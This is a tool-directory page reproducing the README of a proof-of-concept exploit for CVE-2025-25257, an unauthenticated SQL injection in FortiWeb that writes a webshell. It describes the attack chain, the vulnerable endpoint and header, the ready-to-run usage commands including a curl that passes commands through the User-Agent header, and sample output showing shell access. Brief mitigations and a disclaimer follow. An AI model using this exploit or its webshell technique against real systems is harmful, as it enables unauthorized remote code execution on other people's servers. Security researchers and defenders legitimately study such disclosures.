Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-25257 — PoC for CVE-2025-25257, a critical unauthenticated SQL injection in FortiWeb. Exploits SQLi via the Authorization header to write a webshell and gain RCE. No login required. Fully automated. | Kitploit
Tools/GitHubGitHub/0xgh057r3c0n/cve-2025-25257
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHub0xgh057r3c0n/cve-2025-25257

CVE-2025-25257

PoC for CVE-2025-25257, a critical unauthenticated SQL injection in FortiWeb. Exploits SQLi via the Authorization header to write a webshell and gain RCE. No login required. Fully automated.

View Repository
111 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🚨 CVE-2025-25257 – FortiWeb SQLi to RCE

Critical SQL Injection → Webshell Execution

Discovered and weaponized by 0xgh057r3c0n

🧠 Vulnerability Overview

CVE-2025-25257 affects FortiWeb systems exposing the endpoint /api/fabric/device/status, which fails to properly sanitize Authorization header input.

An attacker can perform unauthenticated SQL injection to write a webshell on the server and execute commands remotely.

💥 Attack Flow

root@kitploit:~
SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE

📍 Vulnerable Endpoint

root@kitploit:~
GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>

🔓 Exploit Features

  • SQLi via Bearer token
  • SQL INTO OUTFILE to drop shell
  • Python hook triggers chmod
  • Commands executed via User-Agent
  • Fully automated PoC

🧪 Usage

root@kitploit:~
python3 CVE-2025-25257.py -t https://target-host.com

Then:

root@kitploit:~
curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi

🔧 Requirements

  • Python 3.6+
  • requests module

Install:

root@kitploit:~
pip install requests

📤 Sample Output

root@kitploit:~
[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)

[+] Webshell Ready:
    > https://target-host.com/cgi-bin/x.cgi
    > Send commands via User-Agent header

📊 CVSS Estimate

MetricValue
Base Score9.8 (CRITICAL)
Attack VectorNetwork
Privileges RequiredNone
User InteractionNone
ImpactHigh (C/I/A)

🛡️ Mitigation

  • Update FortiWeb firmware (if patch available)
  • Sanitize all header inputs
  • Restrict file write paths and CGI execution

👨‍💻 Author

0xgh057r3c0n 🔗 github.com/0xgh057r3c0n

⚠️ Disclaimer

This proof-of-concept is for educational and authorized testing only. Use at your own risk. The author is not responsible for misuse.

Download Tool